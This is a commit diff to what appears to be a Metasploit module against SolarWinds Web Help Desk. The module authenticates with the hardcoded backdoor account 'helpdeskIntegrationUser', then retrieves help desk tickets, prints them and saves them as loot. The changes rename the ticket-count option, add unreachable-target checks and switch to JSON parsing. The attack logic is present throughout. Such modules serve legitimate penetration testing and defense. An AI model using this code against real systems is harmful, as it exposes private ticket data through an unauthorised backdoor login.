@@ -40,13 +40,14 @@ def initialize(info = {})
4040 register_options (
4141 [
4242 OptString . new ( 'TARGETURI' , [ true , 'The base path for Web Help Desk' , '/' ] ) ,
43- OptInt . new ( 'TICKETSTODUMP ' , [ false , 'The number of tickets to dump' , 10 ] )
43+ OptInt . new ( 'TICKET_COUNT ' , [ false , 'The number of tickets to dump' , 10 ] )
4444 ]
4545 )
4646 end
4747
4848 def check
4949 @auth = auth
50+ return Exploit ::CheckCode ::Unknown ( 'Target is unreachable' ) unless @auth
5051
5152 if @auth . code == 401
5253 return Exploit ::CheckCode ::Safe
@@ -71,9 +72,10 @@ def auth
7172 def run
7273 print_status ( 'Authenticating with the backdoor account "helpdeskIntegrationUser"...' )
7374 @auth ||= auth
75+ fail_with ( Failure ::Unknown , 'Target is unreachable' ) unless @auth
7476
75- body = @auth . body
76- fail_with ( Failure ::UnexpectedReply , 'Unexpected Reply: ' + @auth . to_s ) unless body . include? ( 'shortSubject' )
77+ jbody = @auth . get_json_document
78+ fail_with ( Failure ::UnexpectedReply , 'Unexpected Reply: ' + @auth . to_s ) unless jbody . any? { | item | item . is_a? ( Hash ) && item . key? ( 'shortSubject' ) }
7779
7880 report_service (
7981 host : rhost ,
@@ -82,9 +84,8 @@ def run
8284 name : 'SolarWinds Web Help Desk'
8385 )
8486
85- jbody = JSON . parse ( body )
86- print_good ( "Successfully authenticated and tickets retrieved. Displaying the first #{ datastore [ 'TICKETSTODUMP' ] } tickets retrieved:" )
87- tickets_to_display = jbody . first ( datastore [ 'TICKETSTODUMP' ] )
87+ print_good ( "Successfully authenticated and tickets retrieved. Displaying the first #{ datastore [ 'TICKET_COUNT' ] } tickets retrieved:" )
88+ tickets_to_display = jbody . first ( datastore [ 'TICKET_COUNT' ] )
8889 print_good ( JSON . pretty_generate ( tickets_to_display ) )
8990
9091 file = store_loot ( 'solarwinds_webhelpdesk.json' , 'text/json' , datastore [ 'USER' ] , jbody )
0 commit comments